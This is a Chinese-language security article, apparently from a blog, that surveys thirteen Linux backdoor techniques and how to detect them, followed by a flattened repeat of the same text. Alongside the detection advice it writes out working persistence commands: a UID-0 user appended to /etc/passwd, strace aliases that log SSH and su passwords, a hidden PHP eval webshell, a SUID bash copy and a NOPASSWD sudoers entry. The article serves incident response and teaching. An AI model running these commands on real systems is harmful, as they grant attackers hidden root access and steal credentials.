linux常见backdoor及排查技术
字数 2047 2025-08-22 18:37:21

Linux常见后门技术及排查方法

一、后门技术概述

Linux系统后门技术主要分为以下几类:

  1. 用户账户类后门
  2. SSH相关后门
  3. 计划任务后门
  4. 启动项后门
  5. 程序劫持类后门
  6. 进程隐藏技术
  7. 内核级Rootkit

二、具体后门技术及排查方法

1. 添加root权限后门用户

技术实现

  • 修改/etc/passwd文件,添加UID为0的用户
  • 密码可直接使用加密后的密文
# 生成加密密码
perl -e 'print crypt("M0rk", "AA"). "\n"'  # 输出: AAhmo1jgYI0HE

# 添加后门用户
echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>/etc/passwd

排查方法

  • 检查/etc/passwd文件是否有异常用户
  • 特别注意UID为0的用户
  • 检查文件时间戳是否被修改(ls -l /etc/passwd)

2. SSH免密码登录后门

技术实现

  • 将攻击者的公钥写入目标机器的authorized_keys文件

排查方法

  • 检查各用户.ssh目录下的authorized_keys文件
  • 重点检查/root/.ssh//home/*/.ssh/目录

3. SSH密码记录后门

技术实现

  • 通过alias记录SSH或su密码
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
alias su='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 su'

排查方法

  • 检查shell配置文件(~/.bashrc, ~/.bash_profile)
  • 执行alias命令查看异常别名

4. SSHD后门

技术实现

  1. 创建SSHD软连接开启额外端口
    ln -sf /usr/sbin/sshd /home/su
    /home/su -oport=2222
    
  2. 修改OpenSSH源码插入恶意代码

排查方法

  • netstat -antlp查看可疑端口
  • ls -l检查可疑SSHD文件
  • strings sshd |grep '[1-9]{1,3}.[1-9]{1,3}.'查找IP特征
  • strace查看可疑写文件操作

5. 计划任务后门

技术实现

  • 通过crontab设置定时任务

排查方法

  • crontab -l查看当前用户的计划任务
  • 检查以下文件/目录:
    • /etc/crontab
    • /etc/cron.d/*
    • /var/spool/cron/*
    • /etc/anacrontab(Redhat/Centos)

6. 开机启动项后门

技术实现

  • 添加启动脚本到以下位置:
    • /etc/rc.local
    • /etc/rc.d/rc.local
    • /etc/init.d/
    • /etc/systemd/system/
    • shell配置文件(/etc/profile, /etc/bashrc, ~/.bashrc等)

排查方法

  • systemctl list-unit-files --type=service | grep enabled
  • 检查上述启动项文件

7. Vim后门

技术实现

  • 利用vim的python扩展执行恶意脚本
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

排查方法

  • 检查vim进程的map文件是否有python字眼
  • cat /proc/<pid>/maps | grep python

8. 终端解析问题后门

技术实现

  • 利用\r字符隐藏恶意代码
echo -e "<?=\`eval(\$_POST[good]\`);?>\r<?='PHP Test Page'" > /var/www/html/test.php

排查方法

  • 使用编辑器或webshell扫描工具检查
  • 不要仅依赖catmore等终端命令

9. 命令截断隐藏进程

技术实现

  • 填充大量空格使命令在ps中显示不全
  • 使用工具如xhide修改进程名

排查方法

  • ps -aux | grep <pid>显示完整命令
  • 使用ps aux | less -+Sps aux | catps aux | most -w

10. 预加载型动态链接库后门

技术实现

  • 修改/etc/ld.so.preload或设置LD_PRELOAD环境变量
  • 常用工具:Vegile、cub3、Vlany

排查方法

  • strace跟踪预加载文件
  • 检查/etc/ld.so.preload内容
  • 检查LD_PRELOAD环境变量
  • 使用静态编译的busybox进行检查

11. 提权后门

技术实现

  1. SUID后门:
    cp /bin/bash /bin/nf && chmod +s /bin/nf
    
  2. Sudoers后门:
    echo "jenkins ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
    

排查方法

  • 查找SUID文件:find / -perm -4000
  • 检查/etc/sudoers文件

12. 进程注入

技术实现

  • 使用ptrace向进程中注入恶意so文件
  • 工具:linux-inject

排查方法

  • 使用unhide等工具检测隐藏进程
  • 检查异常进程的内存映射

13. 内核级Rootkit

技术实现

  • 加载恶意内核模块
  • 工具示例:Diamorphine

排查方法

  • 检查加载的内核模块(lsmod)
  • 使用完整性检查工具
  • 对比内核符号表

三、通用排查建议

  1. 使用可信工具

    • 下载静态编译的busybox进行排查
    • 避免依赖可能被篡改的系统命令
  2. 完整性检查

    • RedHat: rpm -Va
    • Debian: debsums --all
  3. 多维度检查

    • 文件系统
    • 进程列表
    • 网络连接
    • 系统日志
  4. 高级工具

    • unhide检测隐藏进程
    • chkrootkit/rkhunter检测rootkit

四、参考资源

  1. Vegile
  2. cub3
  3. Vlany
  4. Diamorphine
  5. linux-inject
Linux常见后门技术及排查方法 一、后门技术概述 Linux系统后门技术主要分为以下几类: 用户账户类后门 SSH相关后门 计划任务后门 启动项后门 程序劫持类后门 进程隐藏技术 内核级Rootkit 二、具体后门技术及排查方法 1. 添加root权限后门用户 技术实现 : 修改 /etc/passwd 文件,添加UID为0的用户 密码可直接使用加密后的密文 排查方法 : 检查 /etc/passwd 文件是否有异常用户 特别注意UID为0的用户 检查文件时间戳是否被修改( ls -l /etc/passwd ) 2. SSH免密码登录后门 技术实现 : 将攻击者的公钥写入目标机器的 authorized_keys 文件 排查方法 : 检查各用户 .ssh 目录下的 authorized_keys 文件 重点检查 /root/.ssh/ 和 /home/*/.ssh/ 目录 3. SSH密码记录后门 技术实现 : 通过alias记录SSH或su密码 排查方法 : 检查shell配置文件( ~/.bashrc , ~/.bash_profile ) 执行 alias 命令查看异常别名 4. SSHD后门 技术实现 : 创建SSHD软连接开启额外端口 修改OpenSSH源码插入恶意代码 排查方法 : netstat -antlp 查看可疑端口 ls -l 检查可疑SSHD文件 strings sshd |grep '[1-9]{1,3}.[1-9]{1,3}.' 查找IP特征 strace 查看可疑写文件操作 5. 计划任务后门 技术实现 : 通过crontab设置定时任务 排查方法 : crontab -l 查看当前用户的计划任务 检查以下文件/目录: /etc/crontab /etc/cron.d/* /var/spool/cron/* /etc/anacrontab (Redhat/Centos) 6. 开机启动项后门 技术实现 : 添加启动脚本到以下位置: /etc/rc.local /etc/rc.d/rc.local /etc/init.d/ /etc/systemd/system/ shell配置文件( /etc/profile , /etc/bashrc , ~/.bashrc 等) 排查方法 : systemctl list-unit-files --type=service | grep enabled 检查上述启动项文件 7. Vim后门 技术实现 : 利用vim的python扩展执行恶意脚本 排查方法 : 检查vim进程的map文件是否有python字眼 cat /proc/<pid>/maps | grep python 8. 终端解析问题后门 技术实现 : 利用 \r 字符隐藏恶意代码 排查方法 : 使用编辑器或webshell扫描工具检查 不要仅依赖 cat 、 more 等终端命令 9. 命令截断隐藏进程 技术实现 : 填充大量空格使命令在ps中显示不全 使用工具如xhide修改进程名 排查方法 : ps -aux | grep <pid> 显示完整命令 使用 ps aux | less -+S 、 ps aux | cat 或 ps aux | most -w 10. 预加载型动态链接库后门 技术实现 : 修改 /etc/ld.so.preload 或设置 LD_PRELOAD 环境变量 常用工具:Vegile、cub3、Vlany 排查方法 : strace 跟踪预加载文件 检查 /etc/ld.so.preload 内容 检查 LD_PRELOAD 环境变量 使用静态编译的busybox进行检查 11. 提权后门 技术实现 : SUID后门: Sudoers后门: 排查方法 : 查找SUID文件: find / -perm -4000 检查 /etc/sudoers 文件 12. 进程注入 技术实现 : 使用ptrace向进程中注入恶意so文件 工具:linux-inject 排查方法 : 使用unhide等工具检测隐藏进程 检查异常进程的内存映射 13. 内核级Rootkit 技术实现 : 加载恶意内核模块 工具示例:Diamorphine 排查方法 : 检查加载的内核模块( lsmod ) 使用完整性检查工具 对比内核符号表 三、通用排查建议 使用可信工具 : 下载静态编译的busybox进行排查 避免依赖可能被篡改的系统命令 完整性检查 : RedHat: rpm -Va Debian: debsums --all 多维度检查 : 文件系统 进程列表 网络连接 系统日志 高级工具 : unhide检测隐藏进程 chkrootkit/rkhunter检测rootkit 四、参考资源 Vegile cub3 Vlany Diamorphine linux-inject